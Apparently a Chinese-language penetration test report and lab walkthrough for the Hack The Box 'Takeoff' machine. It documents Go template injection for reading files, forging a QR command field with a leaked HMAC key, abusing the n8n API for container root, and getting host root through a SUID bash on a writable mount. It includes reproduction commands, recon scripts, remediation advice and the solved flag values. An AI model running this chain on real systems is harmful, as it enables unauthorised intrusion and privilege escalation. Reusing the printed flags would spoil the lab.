HTB TAKEOFF

全方面滲透測試 SOP 與證據報告

目標：10.129.164.245 | 平台：Hack The Box 測試日期：2026 年 11 月 5 日（Asia/Taipei） 狀態：取得並提交 user.txt、root.txt；HTB 顯示機器已完成

授權聲明

依委託者明確授權，測試範圍限於指定 HTB Takeoff 靶機與其應用程式。本文含受控實驗旗標與可重現步驟，供授權評估、修補與複測使用；票券金鑰、n8n API key、session cookie、帳戶密碼及私鑰不列印。

報告版本 1.0 | 證據時區 UTC+8 | 方法參考 OWASP WSTG v4.2、OWASP Top 10:2025

1. 範圍、規則與執行摘要

目標資產：10.129.164.245（單一 HTB Takeoff 主機）；入口為 TCP/22 SSH 與 TCP/80 HTTP。未對其他主機或子網執行測試。

授權：委託者明確允許對此靶機執行全面測試、取得兩個旗標並提交至指定 HTB 機器頁。旗標提交已於 HTB UI 確認成功，頁面顯示 User Flag owned、Root Flag owned 與 You have solved Takeoff。

執行摘要：以一般註冊帳戶與自身測試訂位進入流程；票券備註的 Go template 注入讀取服務環境變數，揭露 QR 簽章密鑰和 n8n API key。以已知 HMAC 重簽票券中的 NotifyCmd，在 www-data 權限下執行命令；再呼叫 loopback n8n API 建立 Execute Command 工作流程，取得 n8n 容器 root。該容器將主機 /home/kpark 以可寫方式掛載至 /root，透過 SUID Bash 完成主機 root。

旗標	結果	HTB 提交
user.txt	6fb17b89b3f53786c4b77f1d58398f73	成功；HTB 標示 User Flag owned
root.txt	85b5b83669c8e7ff7ac85be132a1f19a	成功；HTB 標示 Root Flag owned / solved

旗標是這台授權實驗室的驗證資料。報告為滿足委託者要求直接列出；如需對外分享，請另行遮蔽。

主要發現

ID	發現	風險	主要影響
F-01	票券備註 Go template 注入與任意檔案讀取	高	可執行模板表達式、讀取應用程序檔案與環境資訊
F-02	QR HMAC 金鑰外洩後可偽造 NotifyCmd	嚴重	www-data 任意命令執行
F-03	n8n API key 暴露且可建立 root Execute Command 工作流程	嚴重	取得 n8n 容器 root、跨容器存取掛載
F-04	rootful n8n 的可寫主機 home 掛載可造成主機提權	嚴重	SUID Bash 導致主機 root
F-05	登入與 session 未使用 TLS / Secure cookie	中	網路上可能竊聽憑證或 session
F-06	註冊服務端未強制接受條款欄位	低	可在略過前端勾選時建立帳戶

2. 攻擊流程圖

流程圖以實際證據鏈為序。n8n 的 uid=0 是容器內 root；SUID Bash 回傳的 euid=0 是主機使用者 kpark 的 shell，兩者由可寫主機掛載串接。



命令欄位由 NotifyCmd 直接 argv 執行；測試中 shell 中繼字元沒有被解讀。外部下載與後續 shell 執行分成兩次獨立 check-in，以免誇大注入能力。

3. 測試方法與個人 Skills 流程化

本次可用的 27 個個人安全技能均已讀取，依資產與證據路由，而非把不相干技能硬套到靶機。下表將技能整理成可重複的工作流程。

流程階段	執行 SOP	技能路由（已讀取的個人 skills）
0	界定範圍	記錄單一 IP、授權、禁止超出範圍事項與清理責任。	application-security-testing；web-app-penetration-testing；api-security-testing；pentest-report
1	盤點服務	全 TCP 掃描、服務辨識、HTTP 標頭／方法、目錄與前端資產；結果轉成可驗證假設。	recon-port-scan；recon-fingerprint；recon-dir-scan；building-vulnerability-scanning-workflow；recon-subdomain（本案單一 IP，未做子網域枚舉）
2	登入與業務流程	註冊／登入、權限邊界、訂位、付款測試資料、票券、退訂；只操作自己的帳戶和物件。	web-app-penetration-testing；api-security-testing；owasp-wstg；testing-oauth2-implementation-flaws（未發現 OAuth/OIDC，不適用）
3	輸入與檔案測試	用無害標記確認注入；對 SQLi、XSS、檔案讀取與命令執行分別驗證，未證明即記為未發現。	exploit-sqli；exploit-xss；exploit-lfi；exploit-file-download；owasp-wstg
4	服務與主機提權	追蹤程序身分、loopback 服務、秘密暴露、掛載和檔案權限；區分容器 root 與主機 root。	linux-privilege-escalation；api-security-testing；performing-authenticated-vulnerability-scan（無可用 SSH 認證掃描範圍，未執行）
5	證據驗證	對每個發現記錄前置條件、請求／輸出、負向控制、可達性、影響和限制。	fp-check；owasp-top-10-testing；results-storage（本次未建立資料庫）；pentest-report
6	修補與回歸	先處理注入與秘密，再隔離 n8n／掛載，之後測 TLS 和業務規則；以原測試案例複測。	fix-security-vulnerabilities（提供修補建議，未改靶機程式碼）；ci-security-scanning（無 CI 專案，不適用）
未適用技能	不因技能存在就對本次 Linux Web 主機執行無關攻擊。	performing-active-directory-penetration-test；mapping-attack-paths-with-bloodhound-ce；exploiting-adcs-with-certipy；windows-privilege-escalation

27 個技能名稱完整清冊

application-security-testing、web-app-penetration-testing、api-security-testing、owasp-wstg、owasp-top-10-testing、recon-subdomain、recon-port-scan、recon-fingerprint、recon-dir-scan、building-vulnerability-scanning-workflow、performing-authenticated-vulnerability-scan、exploit-file-download、exploit-lfi、exploit-sqli、exploit-xss、testing-oauth2-implementation-flaws、performing-active-directory-penetration-test、mapping-attack-paths-with-bloodhound-ce、exploiting-adcs-with-certipy、windows-privilege-escalation、linux-privilege-escalation、find-security-vulnerabilities-in-code、fp-check、fix-security-vulnerabilities、ci-security-scanning、results-storage、pentest-report。

4. 資產盤點與測試範圍

網路入口：RustScan 1–65535/TCP 回報僅 22、80 開啟；Nmap 確認 SSH 為 OpenSSH 10.0p2 Debian 7+deb13u4，HTTP 為 nginx，標題為 HTB Airways Booking。HTTP 回應標示 Echo。

SSH：支援 publickey/password；列出的 KEX、主機金鑰與加密演算法為現代演算法組合。未進行密碼噴灑或暴力破解。取得 kpark 時使用本次受控暫時金鑰；結束已刪除該金鑰。

HTTP：僅 TCP/80 開放；TLS/443 未開。GET、OPTIONS；標頭含 X-Frame-Options: DENY、X-Content-Type-Options: nosniff、CSP。`script-src` 含 unsafe-inline。session_token 為 HttpOnly、SameSite=Lax，但缺少 Secure；傳輸本身是明文 HTTP。

內部服務：www-data 可連 127.0.0.1:5678（n8n API）並使用從環境洩露的 API key。應用程式內另觀察 127.0.0.1:3000、127.0.0.1:3306；未做未授權破壞性測試或資料庫列舉。

路徑與工作流程：檢查註冊／登入、profile、search、flights/schedules、booking、payment cards、trips、ticket notes/PDF、check-in、API check-in 等。對匿名受保護路徑回應、認證邊界、角色欄位、SQLi、XSS 與測試訂位做了控制式驗證。

工具：nmap、RustScan 2.3.0、ffuf、curl、Python PoC、pdftotext/pdftoppm、SSH、n8n REST API。依本次操作環境安裝缺少的掃描工具；安裝紀錄可在本機 assessment 目錄檢視。

未執行／限制：UDP 掃描因當時沒有可用的非互動 sudo 權限而未執行；Nmap http-enum 因逾時停止；未執行全量 Nuclei CVE／弱密碼模板、SQLi 資料庫抽取、SSH 暴力破解、真實付款、其他使用者資料讀取、原始碼審查或雲端資產測試。這些項目是未測，不代表安全。

TCP service discovery · captured output

```
$ rustscan -a 10.129.164.245 -r 1-65535
10.129.164.245 -> [22,80]

22/tcp  open  ssh   OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp  open  http  nginx · HTB Airways Booking · Echo
```

Evidence source: scans/rustscan-full.txt and scans/services.nmap

圖 1 | TCP 服務盤點輸出重排圖；原始輸出保存於 scans/rustscan-full.txt、scans/services.nmap。

5. 發現與漏洞說明

F-01 | 票券備註 Go template 注入與任意檔案讀取

風險：高 | CVSS：本報告未指派數值；依實際利用條件與影響定性排序。

問題描述：登入後的 ticket notes 被當作 Go template 求值，而不是純文字輸出。提交 {{print 777}} 後，下載票券 PDF 的 Notes 區出現 777；再使用模板物件的 .File 方法讀取 /proc/self/environ，確認能讀取應用程序環境。這是服務端模板注入（SSTI），亦形成任意檔案讀取原語。

佐證：ticket-777.pdf 的 Notes=777；ticket-environ-redacted.txt 記錄可見的環境變數名稱、值長度與 USER/HOME。未在報告中列出票券金鑰、n8n API key 的原值。

影響：具票券存取權的使用者可讀取服務程序可讀的檔案與秘密，並為後續 QR HMAC 偽造、n8n API 存取提供前置條件。若模板允許更多方法或可呼叫命令，影響可能更大；本報告只陳述已驗證的檔案讀取和下游鏈。

安全重現：以自己的未來訂位，在 Notes 儲存 {{print 777}}，下載自己的票券 PDF 並用 pdftotext 查看求值結果。已授權重現環境中再用 {{printf "%q" (.File "/proc/self/environ")}} 驗證檔案讀取；以 read-only/受控目標測試，避免把原始秘密輸出到終端或工單。

修補建議：不要將使用者資料編譯為 template。以文字模板／自動跳脫輸出；移除可讀檔的 .File 介面；若需要模板，使用固定受信任模板和資料結構、限制函式／方法集合。將秘密移至獨立 secret manager，分離服務身分，限制 /proc、設定檔與環境讀取面；對模板錯誤與敏感輸出加上監控。

重現限制：本次未取得應用程式原始碼，無法指出具體 Go 呼叫點或確認模板引擎設定。



圖 2 | 從靶機回應票券 PDF 渲染的實際證據頁；展示無害標記成功求值。

F-02 | 暴露 HMAC 金鑰後偽造 QR NotifyCmd 並執行命令

風險：嚴重 | CVSS：本報告未指派數值；依實際利用條件與影響定性排序。

問題描述：QR 票券資料包含 NotifyCmd 欄位並以 HMAC-SHA256 簽署。F-01 讀取程序環境後取得 TICKET_VALIDATION_TOKEN，對自身有效 QR 做離線驗證成功，修改 NotifyCmd 後重新計算簽章，將偽造 QR 提交至 /api/check-in。服務端接受並執行該命令，初始權限為 www-data。

佐證：ticket-777.pdf 和 ticket-environ-redacted.txt 證明注入與秘密來源；command-proof.txt 顯示以 www-data 執行的無害 hostname 複製驗證；stage-script-readback.txt / check-in 證據證明分步命令執行。原始 HMAC key 與 QR payload 不納入 PDF。

影響：持有受測帳戶／自身票券並取得程式環境金鑰者可在應用程式容器執行任意 argv 命令。確認 NotifyCmd 是直接 argv 執行，不是 shell 字串；測試中 `;`、`&&` 等 shell 中繼字元沒有被解析。這一點限制單次命令的 shell 組合能力，但不降低直接命令執行的嚴重性。

安全重現：先用本報告附錄 takeoff_poc.py 的 verify 驗證原始票券 HMAC；再用 `exec --command 'cp /etc/hostname /tmp/takeoff-proof'` 執行無害命令，以自己的 ticket note .File 讀回 /tmp/takeoff-proof。只有在靶場授權下才延伸到後續 n8n pivot。

修補建議：票券 QR 僅含識別資料與一次性 nonce；伺服器端將票券 ID 對應到受信任命令，絕不執行用戶提供的命令欄位。HMAC key 不得與應用程序可讀的環境同置；使用金鑰管理服務、輪替與 key version。簽署 canonical bytes 的所有安全欄位，驗證時做 constant-time compare，加入短期／一次性消耗與重放保護。將外部通知改為固定 API 呼叫或嚴格 allowlist，採 argv allowlist 而非命令字串。

F-03 | 應用服務秘密可授權 n8n 建立 root Execute Command 工作流程

風險：嚴重 | CVSS：本報告未指派數值；依實際利用條件與影響定性排序。

問題描述：同一程序環境內另有 N8N_API_KEY。應用容器可達 127.0.0.1:5678，API key 允許建立、啟用工作流程；n8n 工作流程可使用 Execute Command 節點，以 n8n 容器 root 執行命令。啟用後呼叫 webhook，回應 uid=0(root)。

佐證：host-enum.txt 顯示 www-data、127.0.0.1:5678；n8n-trigger-output.txt 顯示 workflow activation HTTP 200、webhook HTTP 200 與 uid=0(root)。報告中的證據圖已移除 key、私鑰與 workflow ID。

影響：取得應用程序環境或以同等身分執行命令者，可接管 n8n 工作流程並在 rootful n8n 容器執行命令。API key 的權限跨越應用與自動化服務信任界線。

安全重現：僅於隔離靶場執行：以授權程序的環境 key 呼叫 `POST /api/v1/workflows` 建立只有 webhook→Execute Command 的測試 workflow，activate 後 POST 自訂 webhook，讀回 `id`。成功的最小驗證為容器內 `id` 顯示 uid=0；測試後 deactivate、DELETE workflow。

修補建議：不要把 n8n API key 放進 Web app 可讀的環境；分開服務身分與網路命名空間，採短期憑證和細粒度 scope；將 Execute Command 節點停用／限制於管理者專用實例。n8n 以非 root、唯讀 root filesystem、capabilities drop、seccomp/AppArmor 執行；管理 API 不對應用容器開放。記錄 workflow 建立、啟用、執行與憑證讀取並告警。



圖 3 | n8n webhook 回應與掛載證據的重排圖；此處 UID 0 指容器內 root。

F-04 | rootful 容器的可寫主機 home 掛載導致主機 root

風險：嚴重 | CVSS：本報告未指派數值；依實際利用條件與影響定性排序。

問題描述：n8n 容器的 /root 是 /dev/sda4 ext4 rw 掛載，實際對應主機 /home/kpark。此主機目錄可由 kpark 寫入且掛載沒有 nosuid。以 n8n 容器 root 對使用者可寫目錄中的 Bash 複本執行 chown root:root 與 chmod 4755，主機 kpark 後續執行 `mybash -p` 取得 euid=0。

佐證：n8n-trigger-output.txt 顯示容器內 /root 的 rw 掛載；n8n-root-step-output.txt 顯示目標檔案 SUID root；ssh-user.txt 顯示 uid=1001(kpark)，ssh-root.txt 顯示 uid=1001、euid=0 並讀出 root.txt。

影響：容器層 root 命令可變更主機掛載中的 inode 權限，進而讓普通主機帳戶取得 root。這是容器隔離失效，風險涵蓋主機與其資料。

安全重現：在已授權靶場，先透過 n8n 建立可控 SSH 公鑰通道；以 kpark 將主機 /bin/bash 複製到自己的 home，準備只執行 `chown 0:0 /root/mybash; chmod 4755 /root/mybash` 的容器工作流程；再以 `~/mybash -p -c 'id'` 驗證 euid=0。只讀 flag 以確認影響，完成後刪除 workflow、authorized_keys、複本和腳本。

修補建議：不要把主機使用者家目錄掛到容器 root。移除可寫 host bind mount；必須掛載時採唯讀且明確只掛所需檔案，使用 `nosuid,nodev,noexec`；啟用 rootless 容器或 user namespace，避免容器 root 映射 host root，收緊 capabilities、LSM、seccomp、唯讀根檔案系統和資源限制。對主機家目錄定期檢查 SUID/SGID 與權限漂移。



圖 4 | 主機 SSH 命令輸出顯示有效 UID 0；圖中 root flag 為受測 HTB 旗標。

F-05 | 未加密 HTTP 傳輸與缺少 Secure session cookie

風險：中 | CVSS：本報告未指派數值；依實際利用條件與影響定性排序。

問題描述：登入、註冊、應用操作透過 HTTP；TCP/443 未開。session_token 設為 HttpOnly、SameSite=Lax，但缺 Secure 屬性。

佐證：http-headers.txt、sign-in headers 與 cookie 屬性紀錄；nmap 僅回報 22、80 TCP 開啟。原始 session cookie 不放入報告。

影響：同一網路上的攻擊者可能讀取或竊取登入憑證與 session，後續以受害者身分操作帳戶。HttpOnly 降低腳本直接讀取 cookie 的風險，但不會加密網路傳輸。

安全重現：以自己的帳戶登入，檢查 Network / Set-Cookie 與 TLS；在授權環境中確認明文 HTTP 可觀察到認證流程。不得保存或分享真實 session 值。

修補建議：全站啟用 TLS 1.2+（優先 TLS 1.3），HTTP 只做 301/308 到 HTTPS；所有 session cookie 加 Secure、HttpOnly、SameSite。加入 HSTS（確認子網域／預載需求後再設定），設定安全的 session rotation、到期與登出失效。

F-06 | 註冊時服務端未強制 terms 欄位

風險：低 | CVSS：本報告未指派數值；依實際利用條件與影響定性排序。

問題描述：註冊頁面以瀏覽器 checkbox 標示條款同意，但移除 terms 欄位直接 POST 仍建立帳戶並可登入。服務端未驗證必需的條款版本／同意記錄。

佐證：signup-no-terms.headers 與 signup-no-terms.body；使用一次性測試信箱確認建立成功。

影響：可能造成條款同意紀錄不完整或業務規則被略過。此項不代表可繞過身份驗證或取得高權限。

安全重現：以自有測試身分 POST 註冊表單，省略 terms 欄位，再確認伺服器拒絕且沒有建立帳戶。

修補建議：在服務端要求有效的條款版本與明確同意時間，寫入可稽核記錄；前端 required 僅作 UX，不作信任邊界。

6. 負向測試與未證實項目

負向結果只代表此次輸入、帳戶與覆蓋範圍下未證實漏洞；不代表所有參數、角色和資料型態都安全。

測試項目	操作與觀察	結論
登入 SQLi / 認證繞過	基準登入與 SQLi 測試回應相同；未見登入成功或資料差異。	未證實；不是全參數 SQLi 保證
航班搜尋 SQLi	引號／常見布林變體改變回應長度但沒有一致資料或錯誤差異。	未證實 SQLi；建議程式碼／資料庫參數化複核
搜尋反射 XSS	類標記在回應中被 HTML escape 成文字；未觀察瀏覽器執行。	本次 payload 未觸發 XSS
profile stored XSS	輸入標記在 dashboard 輸出被 escape；測試後重設 profile。	本次未證實 stored XSS
角色／管理欄位 mass assignment	role、is_admin 輸入回應 200，但回讀仍為 Rider/Bronze，/admin 404。	未證實角色提升
JWT none／候選密鑰	alg:none 變更被拒；候選清單測試未找到匹配。	未證實 JWT 偽造；候選清單不等於完整熵分析
IDOR/匿名受保護頁	個人路由要求登入；此次未使用第二個真實帳戶測試跨帳戶物件。	部分覆蓋，跨使用者 IDOR 未確認
UDP／全面漏洞模板	無 sudo 時未做 UDP；高風險 Nuclei CVE/default-login 範圍未執行。	未測；不列為 pass

認證與授權另嘗試前端欄位篡改、受保護直接路徑和測試帳戶功能頁；有保護的頁面在未登入時導回登入或回覆受限狀態。因未獲得第二個帳戶或資料擁有者，不對水平 IDOR 下結論。

7. OWASP 測試覆蓋映射

使用固定版 WSTG v4.2 測試編號；分類參考目前 OWASP Top 10:2025。下列映射是證據與覆蓋關係，不代表通過認證或完整 Top 10 稽核。

基準	覆蓋與證據	狀態
WSTG-v42-INFO-02	nginx、Echo、標題、服務與端口指紋辨識	已執行
WSTG-v42-ATHN-01	檢查 HTTP 傳輸、cookie Secure 屬性	發現 F-05
WSTG-v42-ATHN-04	登入頁認證繞過／SQLi 負向驗證	未證實 bypass
WSTG-v42-ATHZ-02/-03/-04	直接受保護路徑、role/is_admin 篡改、個人頁面；跨帳戶 IDOR 受限	部分執行；IDOR 未定
WSTG-v42-INPV-01/-02	搜尋反射與 profile 儲存型 XSS 標記	未證實
WSTG-v42-INPV-05	登入與航班搜尋 SQLi 控制式 payload	未證實
WSTG-v42-INPV-11/-12	Go template 評估、NotifyCmd 命令執行鏈；此為模板注入及命令執行，不聲稱傳統 shell metachar injection	發現 F-01/F-02
WSTG-v42-CONF-09	rootful 容器與可寫 home bind mount 權限檢視	發現 F-03/F-04
OWASP Top 10:2025 A01 Access Control	API/workflow 權限界線、跨容器與主機掛載	F-03/F-04；部分
A02 Security Misconfiguration	n8n API 暴露、root 容器與 host mount 設定	F-03/F-04
A04 Cryptographic Failures	明文 HTTP；應用金鑰未與 Web 程序隔離	F-02/F-05
A05 Injection	Go 模板注入；SQLi/XSS 負向控制	F-01；SQLi/XSS 未證實
A06 Insecure Design / A07 Authentication Failures	讓可變的客戶端命令欄位進入信任簽章流程、註冊條款信任前端；認證重設流程不在範圍	F-02/F-06；部分
A08 Software or Data Integrity Failures	QR 的命令欄位簽署與執行設計、重放控制	F-02
A03/A09/A10	供應鏈、日誌告警、錯誤處理未完整檢查	未測／覆蓋不足

8. 重現 SOP：從一般帳戶到兩個旗標

以下 SOP 供擁有相同授權的隔離 HTB instance 使用。所有網路命令固定拒絕掃描其他 IP；請自行提供受控帳戶、cookie jar、private key 和環境秘密檔。不可把此步驟套用到未授權系統。

8.1 環境與服務確認

使用 scripts/recon_takeoff.sh 進行 full TCP、服務版本、SSH 演算法、HTTP headers/methods 與 ffuf path discovery。網頁唯讀檢查使用 scripts/web_readonly_checks.sh；不要將 cookie jar 放到共用或同步目錄。

8.2 建立自有測試訂位與確認 SSTI

- 使用測試信箱建立一般帳戶並登入；搜尋未來航班、建立一筆低價測試訂位。只使用自己帳戶和測試卡資料，不觸發真實收款。
- 將 ticket notes 設為 {{print 777}}，下載自己的票券，執行 `pdftotext ticket.pdf -`；確認 Notes 區出現 777。先用無害標記，切勿在公開報告輸出秘密值。

8.3 取得、保護並使用票券金鑰

用 takeoff_poc.py extract-env --pnr 自有PNR --secrets-out evidence/session-secrets.json 從已知的模板讀檔鏈取得兩個必要 key。secrets JSON 權限設為 0600；程式輸出只有 key 名稱／數量，不印值。`verify` 先驗證自身當前 QR HMAC，確認原始簽章能匹配。

8.4 www-data 命令與 n8n pivot

- 用 exec 對自身當前 QR 重簽 NotifyCmd；先執行 `cp /etc/hostname /tmp/takeoff-proof`，再以 read-note . File 讀回該檔證明命令執行身分。
- 建立只提供 payloads 的本機 HTTP server，綁定 HTB VPN 位址；分兩次 NotifyCmd 下載 enum/pivot script、再執行 shell script。Direct argv 不解析 shell metacharacters，命令需明確拆步。
- n8n pivot script 用環境 API key 建立 workflow、activate，呼叫隨機 webhook path。容器回應 uid=0(root) 和 /root rw mount；這一步只代表容器 root。

8.5 從容器 root 到主機 root

- Workflow 首次執行只在自己的 /home/kpark 安裝 ephemeral Ed25519 公鑰並讀 user.txt；以該私鑰 SSH 登入 kpark，確認 uid=1001。
- 在主機複製 Bash：`cp /bin/bash ~/mybash`。建立 `~/takeoff-run.sh`，內容只包含 `chown 0:0 /root/mybash`、`chmod 4755 /root/mybash`、`ls -l /root/mybash`。/root 在 n8n 容器對應主機 /home/kpark。
- 呼叫第二次 workflow 以 n8n root 設定 SUID；再 SSH 執行 `~/mybash -p -c 'id; cat /root/root.txt'`。看到 uid=1001、euid=0 即確認主機 root。

8.6 旗標提交與清理

- 將 user.txt、root.txt 原值提交到指定 HTB Takeoff 機器頁；確認 UI 回報兩者 owned 與 solved。
- deactivate 並刪除 n8n workflow；刪除臨時 authorized_keys、公鑰、Bash 複本、提權腳本；退款所有測試訂位、刪除測試卡、清空測試 notes，停止 HTTP server 與 SSH tunnel。

8.7 可直接複製的代表性命令

```
# On tester workstation; serve only the payload directory
python3 -m http.server 8000 --bind 10.10.15.1 --directory Takeoff_assessment/payloads

# Verify own QR HMAC before any command execution
python3 Takeoff_assessment/scripts/takeoff_poc.py --cookie evidence/test-session.cookies --secrets
    evidence/session-secrets.json --evidence evidence verify

# Low-impact proof: command output is written inside the app container
python3 Takeoff_assessment/scripts/takeoff_poc.py --cookie evidence/test-session.cookies --secrets
    evidence/session-secrets.json --evidence evidence exec --command 'cp /etc/hostname
    /tmp/takeoff-proof'

# Read only your own ticket note/PDF and save to a permission-restricted path
python3 Takeoff_assessment/scripts/takeoff_poc.py --cookie evidence/test-session.cookies --evidence
    evidence read-note --pnr YOUR_PNR --path /tmp/takeoff-proof --output evidence/command-output.txt
```

注意：extract-env 取得的 session-secrets.json 僅供授權靶場重現，不能上傳到報告、版本庫、Issue 或雲端同步資料夾。

9. 修補順序與複測計畫

順序	修補工作	可驗證的複測通過條件
P0	立即	移除 ticket notes 的 template evaluation 與 .File helper；輪替 TICKET_VALIDATION_TOKEN、n8n API key，清查已建立 workflow／執行歷史／憑證。	`{{print 777}}` 以字面文字輸出或拒絕；票券文字不能讀 /etc/hostname、/proc 或環境；舊 key 無效。
P0	立即	NotifyCmd 不再由客戶端提供或在 Web process 執行；撤銷所有命令欄位／舊 QR。	修改 QR 任一欄位均驗證失敗；任何客戶端自訂字串不會產生 OS 子程序；票券 nonce 只能消耗一次。
P0	立即	隔離 n8n 與 Web app；撤銷過度權限 API key；停用 Execute Command；以非 root 執行。	Web app 無法連 n8n 管理 API；一般 API key 無法建立／啟用工作流程；容器 id 非 root。
P0	立即	移除 host home bind mount；若必需則唯讀、最小範圍、nosuid,nodev,noexec。	容器無法對 host home 寫入或改 owner/mode；放入掛載的 SUID 測試程式不會提升 host euid。
P1	高	全站 TLS、cookie Secure、HSTS、session rotation。	HTTP 只重導向 HTTPS；登入與所有敏感頁沒有明文資料；Set-Cookie 含 Secure/HttpOnly/SameSite。
P2	一般	服務端驗證條款版本與同意時間；增加日誌、告警及 secrets scanning。	省略 terms 或偽造版本時建立帳戶失敗；template error、key access、workflow create/execute 產生可追蹤告警。

復測要沿原始攻擊鏈逐點確認每一道信任邊界：單點修模板但保留舊 HMAC key 或 n8n 權限仍不能視為完成；容器內 root 與主機 root 分開驗證。保留修補前後時間、版本、請求/回應和設定差異。

10. 證據圖與狀態



圖 5 | 靶機 ticket-777.pdf 的 Notes 區域裁切；票券 QR 與 PNR 已排除於報告影像。

TCP service discovery · captured output

```
$ rustscan -a 10.129.164.245 -r 1-65535
10.129.164.245 -> [22,80]

22/tcp  open  ssh   OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp  open  http  nginx · HTB Airways Booking · Echo

Evidence source: scans/rustscan-full.txt and scans/services.nmap
```

圖 6 | TCP 服務清單輸出重排圖。

n8n Execute Command · target response

```
uid=0(root) gid=0(root) groups=0(root)
/dev/sda4 /root ext4 rw,relatime,errors=remount-ro 0 0
user.txt = 6fb17b89b3f53786c4b77f1d58398f73

This is root inside the n8n container.
The /root mount is writable and backs host /home/kpark.
```

Evidence source: n8n-trigger-output.txt (sensitive key material omitted)

圖 7 | n8n Execute Command 回應及主機 home 掛載重排圖。

Host root proof · SSH command output

```
uid=1001(kpark) gid=1001(kpark) euid=0(root)
ROOT_FLAG=85b5b83669c8e7ff7ac85be132a1f19a

The SUID Bash copy ran with effective host UID 0.
```

Evidence source: ssh-root.txt

圖 8 | SSH 回應中的 euid=0 與 root.txt 輸出重排圖。

HTB flag submission · UI accessibility state

```
[confirmed] You pwned the User Flag!
[confirmed] You pwned the Root Flag!
[confirmed] You have solved Takeoff!
Pwn date shown: 05 Nov 2026
```

Text reconstruction of observed HTB UI accessibility tree; not a screenshot

圖 9 | 提交狀態文字重建自 HTB 頁面 accessibility tree；不是頁面截圖。HTB UI 明確顯示兩個旗標 owned 與 machine solved。

11. 測試資料、清理與已知殘留

已清理的靶機測試資料：六筆測試訂位已退款；fake Visa test card 已刪除；六筆 ticket notes 已清空；n8n 測試 workflow 已停用並刪除；臨時 SSH authorized_keys、host Bash 複本、提權腳本均移除；本機 payload HTTP server 和 SSH tunnel 已停止。

帳戶：一次性測試帳戶仍存在，因 UI 未提供刪除功能，且未嘗試不可逆的非公開刪除 API。帳戶沒有真實個資，密碼未寫入報告。

臨時目錄：應用程式／n8n 容器的 /tmp 中可能仍有 takeoff-* 測試腳本與輸出；本次不宣稱已逐一刪除這些容器暫存檔。主機持久化的 authorized_keys、SUID Bash 複本與提權腳本已確認移除，未留下持久化主機後門。

證據保管：工作目錄含掃描、HTTP 回應、PDF marker、脫敏環境摘要、旗標證據及腳本。原始 session cookie、含 secret 的環境檔、原始 QR 與 SSH 私鑰只用於受控重現，不列入 PDF，報告產生與驗證後會從工作目錄刪除。請將整個 Assessment 工作目錄當作敏感測試資料妥善保管。

證據索引：服務掃描在 scans/；Web 與交易證據在 evidence/；可重現程式在 scripts/ 與 payloads/。圖 9 使用 accessibility tree 觀察狀態，不偽稱為實際瀏覽器截圖。

附錄 A. 可重現腳本（完整原始碼）

程式碼依本次授權靶場使用情境保存。含攻擊能力的腳本不應對未授權目標執行。Secrets file、cookie jar、私鑰、原始 QR 與 payload 中動態產生的資料不隨 PDF 發佈。

scripts/recon_takeoff.sh | 範圍鎖定的 TCP 與 HTTP recon

來源：scripts/recon_takeoff.sh。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/usr/bin/env bash
set -euo pipefail

# Reproducible reconnaissance for the explicitly authorized HTB Takeoff host.
# This script refuses any other address to keep the scope fixed.
TARGET=${1:-10.129.164.245}
[[ "$TARGET" == "10.129.164.245" ]] || { echo "Scope is fixed to 10.129.164.245" >&2; exit 2; }
OUT=${2:-"$(cd "$(dirname "$0")/.." && pwd)/scans/repro"}
mkdir -p "$OUT"

command -v rustscan >/dev/null || { echo "rustscan is required" >&2; exit 127; }
command -v nmap >/dev/null || { echo "nmap is required" >&2; exit 127; }

rustscan -a "$TARGET" -r 1-65535 --ulimit 5000 -- -Pn -n \
  -oN "$OUT/rustscan-full.txt" | tee "$OUT/rustscan-console.txt"
nmap -Pn -n -sC -sV -p 22,80 "$TARGET" \
  -oA "$OUT/services"
nmap -Pn -n -p 22 --script ssh2-enum-algos,ssh-auth-methods "$TARGET" \
  -oA "$OUT/ssh-enum"
nmap -Pn -n -p 80 --script http-title,http-headers,http-methods "$TARGET" \
  -oA "$OUT/http-hardening"

if command -v ffuf >/dev/null && [[ -r /usr/share/wordlists/dirb/common.txt ]]; then
  CLEAN_WORDLIST="$OUT/common-comments-stripped.txt"
  awk 'NF && $1 !~ /^#/ { print $1 }' /usr/share/wordlists/dirb/common.txt > "$CLEAN_WORDLIST"
  ffuf -u "http://$TARGET/FUZZ" -w "$CLEAN_WORDLIST" -ac -mc all \
    -fc 404 -rate 50 -of json -o "$OUT/ffuf-common-dirs.json"
else
  echo "ffuf or /usr/share/wordlists/dirb/common.txt missing; directory discovery skipped" >&2
fi

echo "Recon output: $OUT"
```

scripts/web_readonly_checks.sh | 唯讀 HTTP 與認證路徑檢查

來源：scripts/web_readonly_checks.sh。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
#!/usr/bin/env bash
set -euo pipefail

# Read-only HTTP checks. Any authenticated checks use the caller's own cookie jar.
TARGET=${1:-10.129.164.245}
[[ "$TARGET" == "10.129.164.245" ]] || { echo "Scope is fixed to 10.129.164.245" >&2; exit 2; }
OUT=${2:-"$(cd "$(dirname "$0")/.." && pwd)/evidence/web-readonly"}
COOKIE_JAR=${COOKIE_JAR:-}
BASE="http://$TARGET"
mkdir -p "$OUT"

curl -sS --max-time 15 -D "$OUT/home.headers" -o "$OUT/home.html" "$BASE/"
curl -sS --max-time 15 -D "$OUT/signin.headers" -o "$OUT/signin.html" "$BASE/sign-in"
curl -sS --max-time 15 -D "$OUT/signup.headers" -o "$OUT/signup.html" "$BASE/sign-up"

for route in /profile /payment-cards /trips /check-in /admin; do
  name=${route#/}
  code=$(curl -sS --max-time 15 -o "$OUT/${name:-root}.body" -w '%{http_code}' "$BASE$route")
  printf '%-18s %s\n' "$route" "$code"
done | tee "$OUT/unauthenticated-status.txt"

if [[ -n "$COOKIE_JAR" ]]; then
  [[ -r "$COOKIE_JAR" ]] || { echo "COOKIE_JAR is not readable" >&2; exit 2; }
  for route in /profile /payment-cards /trips /check-in; do
    name=${route#/}
    curl -sS --max-time 15 -b "$COOKIE_JAR" -D "$OUT/auth-${name}.headers" \
      -o "$OUT/auth-${name}.body" "$BASE$route"
  done
  echo "Authenticated read-only responses saved in $OUT (cookie values are not printed)."
fi

echo "HTTP headers saved. Inspect Set-Cookie for Secure, HttpOnly, SameSite and check HTTPS availability
  separately."
```

scripts/takeoff_poc.py | 自有票券 HMAC 驗證、重簽、模板檔案讀取與秘密擷取

來源：scripts/takeoff_poc.py。以下為報告封存版本；需要敏感值的步驟由執行者自行提供權限受控檔案。

```
